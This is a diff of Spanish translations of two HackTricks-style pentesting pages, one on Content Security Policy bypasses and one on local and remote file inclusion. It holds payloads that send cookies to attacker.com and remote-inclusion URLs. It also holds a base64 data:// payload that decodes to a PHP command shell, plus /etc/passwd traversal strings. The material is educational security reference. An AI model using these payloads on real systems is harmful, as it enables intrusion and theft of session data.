a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,30 +2,30 @@ {{#include ../../banners/hacktricks-training.md}} -## What is CSP +## ¿Qué es CSP -La Política de Seguridad de Contenidos (CSP) se reconoce como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`. +Content Security Policy (CSP) es una tecnología de navegador, orientada principalmente a **proteger frente a ataques como cross-site scripting (XSS)**. Funciona definiendo y especificando rutas y orígenes desde los cuales el navegador puede cargar recursos de forma segura. Estos recursos comprenden una variedad de elementos como imágenes, frames y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos inline y la ejecución de código en forma de string mediante funciones como `eval`, `setTimeout` o `setInterval`. -La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada. +La implementación de CSP se realiza mediante **cabeceras de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas directivas y bloquean de inmediato cualquier violación detectada. -- Implementado a través del encabezado de respuesta: +- Implementado vía cabecera de respuesta: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Implementado a través de la etiqueta meta: +- Implementado vía meta tag: ```xml ``` -### Headers +### Encabezados -CSP puede ser aplicado o monitoreado usando estos encabezados: +CSP puede aplicarse o supervisarse mediante estos encabezados: -- `Content-Security-Policy`: Aplica la CSP; el navegador bloquea cualquier violación. -- `Content-Security-Policy-Report-Only`: Usado para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de pre-producción. +- `Content-Security-Policy`: Hace cumplir la CSP; el navegador bloquea cualquier violación. +- `Content-Security-Policy-Report-Only`: Usado para monitoreo; reporta violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción. -### Defining Resources +### Definiendo Recursos -CSP restringe los orígenes para cargar tanto contenido activo como pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de `eval()`. Un ejemplo de política es: +CSP restringe los orígenes desde los que se cargan tanto contenido activo como pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de `eval()`. Un ejemplo de política es: ```bash default-src 'none'; img-src 'self'; @@ -39,38 +39,38 @@ object-src 'none'; ``` ### Directivas -- **script-src**: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea y scripts activados por controladores de eventos o hojas de estilo XSLT. -- **default-src**: Establece una política predeterminada para la obtención de recursos cuando faltan directivas de obtención específicas. -- **child-src**: Especifica los recursos permitidos para trabajadores web y contenidos de marcos incrustados. -- **connect-src**: Restringe las URLs que se pueden cargar utilizando interfaces como fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Restringe las URLs para marcos. -- **frame-ancestors**: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como ``, ` // The bot will load an URL with the payload @@ -545,24 +545,24 @@ console.log(prefix) run() ``` -### Via Bookmarklets +### Vía Bookmarklets -Este ataque implicaría algo de ingeniería social donde el atacante **convince al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **código javascript malicioso** que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, **eludiendo CSP y permitiendo robar información sensible** como cookies o tokens. +Este ataque implicaría algo de ingeniería social donde el atacante **convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **javascript malicioso** que, al ser arrastrado y soltado o al hacer clic, se ejecutaría en el contexto de la ventana web actual, **eludiendo CSP y permitiendo robar información sensible** como cookies o tokens. -Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Para más información [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### Bypass de CSP restringiendo CSP +### CSP bypass by restricting CSP -En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **prototype pollution** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**. +En [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), se elude CSP inyectando dentro de un iframe permitido un CSP más restrictivo que impedía cargar un archivo JS específico que, a su vez, mediante **prototype pollution** o **dom clobbering**, permitía **abusar de un script diferente para cargar un script arbitrario**. -Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**: +Puedes **restringir el CSP de un Iframe** con el atributo **`csp`**: ```html ``` -En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de **inyección HTML** **restringir** más un **CSP** de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\ -CSP se puede hacer más restrictivo utilizando **etiquetas meta HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**: +En [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible vía **HTML injection** **restringir** más una **CSP** de modo que un **script** que prevenía **CSTI** fue deshabilitado y por lo tanto la **vulnerability became exploitable.**\ +CSP puede volverse más restrictiva usando **HTML meta tags** y los inline scripts pueden ser deshabilitados **eliminando** la **entrada** que permite su **nonce** y **habilitar inline script específico vía sha**: ```html ``` -### Exfiltración de JS con Content-Security-Policy-Report-Only +### JS exfiltration with Content-Security-Policy-Report-Only -Si logras que el servidor responda con el encabezado **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si **envuelves** el **contenido JS** que deseas exfiltrar con **`` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **vulnerable** **callback** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\ +Un atacante puede abusar de ese endpoint para **generar un SOME attack** contra WordPress e **incrustarlo** dentro de `` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **SOME attack** a través del **vulnerable** **callback** endpoint que **elude la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\ Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses -Si hay un CSP estricto que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información. +Si hay una CSP estricta que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información. ### Location -Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta: +Puedes simplemente actualizar la location para enviar al servidor del atacante la información secreta: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, esto no filtrará contenido) +Puedes redirigir inyectando una meta tag (esto es solo una redirección, esto no causará un leak de contenido) ```html ``` ### DNS Prefetch -Para cargar las páginas más rápido, los navegadores van a pre-resolver nombres de host en direcciones IP y almacenarlas en caché para su uso posterior.\ +Para cargar las páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para uso posterior.\ Puedes indicar a un navegador que pre-resuelva un nombre de host con: `` -Podrías abusar de este comportamiento para **exfiltrar información sensible a través de solicitudes DNS**: +Podrías abusar de este comportamiento para **exfiltrar información sensible mediante solicitudes DNS**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -674,18 +692,18 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP: +Para evitar que esto ocurra, el servidor puede enviar la cabecera HTTP: ``` X-DNS-Prefetch-Control: off ``` > [!TIP] -> Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots) +> Aparentemente, esta técnica no funciona en navegadores headless (bots) ### WebRTC -En varias páginas puedes leer que **WebRTC no verifica la política `connect-src`** del CSP. +En varias páginas puedes leer que **WebRTC no comprueba la directiva `connect-src`** del CSP. -En realidad, puedes _leak_ información utilizando una _solicitud DNS_. Revisa este código: +En realidad puedes _leak_ información usando una _solicitud DNS_. Mira este código: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -707,7 +725,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -El popup de credenciales envía una solicitud DNS a iconURL sin estar restringido por la página. Solo funciona en un contexto seguro (HTTPS) o en localhost. +La ventana emergente de credenciales envía una solicitud DNS a iconURL sin estar restringida por la página. Solo funciona en un contexto seguro (HTTPS) o en localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -718,12 +736,12 @@ iconURL:"https:"+your_data+"example.com" }) ) ``` -## Comprobando las políticas de CSP en línea +## Comprobación de políticas CSP en línea - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Creando CSP automáticamente +## Creación automática de CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) @@ -737,6 +755,7 @@ iconURL:"https:"+your_data+"example.com" - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 2b9df4cc2..aa53856d4 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,12 +4,12 @@ ## File Inclusion -**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\ +**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\ **Local File Inclusion (LFI):** El servidor carga un archivo local. -La vulnerabilidad se produce cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar. +La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que será cargado por el servidor. -Funciones **PHP** vulnerables: require, require_once, include, include_once +Vulnerable **PHP functions**: require, require_once, include, include_once Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) @@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Combinando varias listas LFI de \*nix y añadiendo más rutas, he creado esta:** +**Combinando varias listas \*nix de LFI y añadiendo más rutas he creado esta:** {{#ref}} @@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Prueba también a cambiar `/` por `\`\ Prueba también a añadir `../../../../../` -Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) se puede encontrar [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) puede encontrarse [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -43,7 +43,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Prueba también a cambiar `/` por `\`\ Prueba también a eliminar `C:/` y añadir `../../../../../` -Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) se puede encontrar [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) puede encontrarse [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** @@ -51,11 +51,11 @@ Consulta la lista LFI de linux. ## LFI básico y bypasses -Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). +Todos los ejemplos son para Local File Inclusion pero podrían aplicarse también a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences stripped non-recursively +### traversal sequences eliminadas de forma no recursiva ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php") +Bypass para evitar la adición de más caracteres al final de la cadena proporcionada (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -71,7 +71,7 @@ Esto está **resuelto desde PHP 5.4** ### **Codificación** -Podrías usar codificaciones no estándar como doble codificación URL (y otras): +Puedes usar codificaciones no estándar como double URL encode (y otras): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Desde una carpeta existente -Quizás el back-end está verificando la ruta de la carpeta: +Quizás el back-end esté comprobando la ruta de la carpeta: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Explorando directorios del sistema de archivos en un servidor -El sistema de archivos de un servidor puede explorarse recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto: +El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograr esto: -1. **Determinar la profundidad del directorio:** Averigua la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres: +1. **Determinar la profundidad del directorio:** Determina la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux-based). Una URL de ejemplo podría tener la siguiente estructura, indicando una profundidad de tres: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Sondea carpetas:** Añade el nombre de la carpeta sospechosa (p. ej., `private`) a la URL, luego vuelve a navegar a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno: +2. **Buscar carpetas:** Añade el nombre de la carpeta sospechada (p. ej., `private`) a la URL, luego vuelve a navegar a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interpretar los resultados:** La respuesta del servidor indica si la carpeta existe: +3. **Interpret the Outcomes:** La respuesta del servidor indica si la carpeta existe: - **Error / No Output:** La carpeta `private` probablemente no existe en la ubicación especificada. - **Contents of `/etc/passwd`:** Se confirma la presencia de la carpeta `private`. -4. **Recursive Exploration:** Las carpetas descubiertas pueden ser exploradas más a fondo en busca de subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI). +4. **Recursive Exploration:** Las carpetas descubiertas pueden ser inspeccionadas más a fondo en busca de subdirectorios o archivos usando la misma técnica o métodos tradicionales de Local File Inclusion (LFI). -Para explorar directorios en distintas ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa: +Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se usa para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, siga apuntando al archivo deseado. +Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, todavía apunte al archivo deseado. En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo: - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, y `/etc/passwd/` son tratados como la misma ruta. -- Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo. -- De igual manera, si se añade `.php` a una ruta de archivo (como `shellcode.php`), agregar un `/.` al final no alterará el archivo al que se accede. +- Cuando los últimos 6 caracteres son `passwd`, añadir una `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo. +- De manera similar, si se añade `.php` a una ruta de archivo (por ejemplo `shellcode.php`), agregar `/.` al final no alterará el archivo al que se accede. -Los ejemplos proporcionados demuestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario): +Los ejemplos proporcionados muestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -127,15 +127,15 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas ``` En estos escenarios, el número de traversals necesarios podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor. -- **Using Dot Segments and Additional Characters**: Las secuencias de traversal (`../`) combinadas con segmentos adicionales de punto y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. -- **Determining the Required Number of Traversals**: Mediante prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para llegar al root directory y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) quede neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta. -- **Starting with a Fake Directory**: Es una práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor. +- **Usando dot segments y caracteres adicionales**: Las secuencias de traversal (`../`) combinadas con segmentos de puntos adicionales y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. +- **Determinando el número requerido de traversals**: Mediante prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta. +- **Comenzar con un directorio falso**: Es una práctica común iniciar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para cumplir los requisitos de la lógica de parseo de rutas del servidor. -Al emplear path truncation techniques, es crucial entender el comportamiento de parsing de rutas del servidor y la estructura del filesystem. Cada escenario puede requerir un enfoque distinto, y a menudo es necesario realizar pruebas para encontrar el método más efectivo. +Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de parseo de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque distinto, y con frecuencia es necesario realizar pruebas para encontrar el método más efectivo. -**This vulnerability was corrected in PHP 5.3.** +**Esta vulnerabilidad fue corregida en PHP 5.3.** -### **Filter bypass tricks** +### **Trucos para evadir filtros** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd @@ -145,23 +145,23 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -En php esto está deshabilitado por defecto porque **`allow_url_include`** está en **Off.** Debe estar en **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE: +En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Off.** Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas web externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar por ejemplo el protocolo data con base64 para decodificar un código PHP en b64 y obtener RCE: +Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas externas, [según este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar por ejemplo el data protocol con base64 para decodificar un b64 PHP code y obtener RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con ello y, después de la decodificación b64, esa parte devolverá solo basura y el código PHP real será incluido (y por tanto, ejecutado). -> -> Otro ejemplo **sin usar el protocolo `php://`** sería: +> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, por lo que la cadena termina con eso y después del b64 decode esa parte volverá solo basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado). + +Otro ejemplo **que no usa el protocolo `php://`** sería: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python elemento raíz +## Python Elemento raíz En Python, en un código como este: ```python @@ -173,17 +173,17 @@ Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior s os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -Es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +Este es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component. +> Si un componente es una ruta absoluta, todos los componentes anteriores se desechan y la concatenación continúa desde el componente de ruta absoluta. -## Java Listar directorios +## Listado de directorios en Java -Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se **devuelve un listado del directorio**. Esto no ocurrirá en otros lenguajes (que yo sepa). +Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no ocurrirá en otros lenguajes (afaik). ## Top 25 parámetros -Aquí tienes una lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Aquí tienes la lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ Aquí tienes una lista de los 25 parámetros principales que podrían ser vulner ?mod={payload} ?conf={payload} ``` -## LFI / RFI usando PHP wrappers & protocols +## LFI / RFI usando PHP wrappers & protocolos ### php://filter -PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters: +PHP filters permiten realizar operaciones básicas de **modificación sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que está entre los caracteres "<" y ">") -- Note that this filter has disappear from the modern versions of PHP +- `string.strip_tags`: Elimina tags de los datos (todo lo que esté entre los caracteres "<" y ">") +- Nota que este filtro ha desaparecido en las versiones modernas de PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . Para obtener la **lista de todas las codificaciones** compatibles ejecuta en la consola: `iconv -l` +- `convert.iconv.*` : Transforma a una codificación distinta (`convert.iconv..`). Para obtener la **lista de todas las codificaciones** soportadas ejecuta en la consola: `iconv -l` > [!WARNING] -> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo que podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más info revisa [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Comprime el contenido (útil si exfiltras mucha información) - `zlib.inflate`: Descomprime los datos - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Obsoleto -- `mdecrypt.*` : Obsoleto -- Other Filters -- Al ejecutar en php `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**: +- `mcrypt.*` : Deprecated +- `mdecrypt.*` : Deprecated +- Otros Filters +- Ejecutando en php `var_dump(stream_get_filters());` puedes encontrar un par de filtros **inesperados**: - `consumed` -- `dechunk`: revierte la codificación HTTP chunked +- `dechunk`: revierte la codificación chunked de HTTP - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> La parte "php://filter" no distingue entre mayúsculas y minúsculas +> La parte "php://filter" no distingue mayúsculas y minúsculas -### Usando php filters as oracle para leer archivos arbitrarios +### Usando php filters como oráculo para leer archivos arbitrarios -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una **boolean exfiltration of the file (char by char) using php filters** as oracle. Esto se debe a que php filters pueden usarse para hacer un texto lo suficientemente grande como para que php lance una excepción. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que el servidor devuelva la salida. Esta técnica se basa en una **boolean exfiltration of the file (char by char) using php filters** como oráculo. Esto se debe a que php filters pueden usarse para hacer un texto lo suficientemente grande como para que php lance una excepción. -En el post original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido: +En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido: - Usa el codec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente. -- Esto se usará para generar un **texto tan grande cuando la letra inicial sea adivinada correctamente** que php disparará un **error**. -- El filtro **dechunk** **eliminará todo si el primer carácter no es hexadecimal**, por lo que podemos saber si el primer carácter es hex. -- Esto, combinado con el anterior (y otros filters dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto viendo cuándo aplicamos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial provocará un error en php. -- El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una `a`, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y el error de php se dispara al multiplicarse con la bomba inicial. -- Usando otras transformaciones como **rot13** al principio es posible leak otros caracteres como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex). -- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número. -- El problema final es ver **cómo leak más que la letra inicial**. Usando order memory filters como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y colocar en la primera posición otras letras del texto. -- Y para poder obtener **further data** la idea es **generate 2 bytes of junk data at the beginning** con 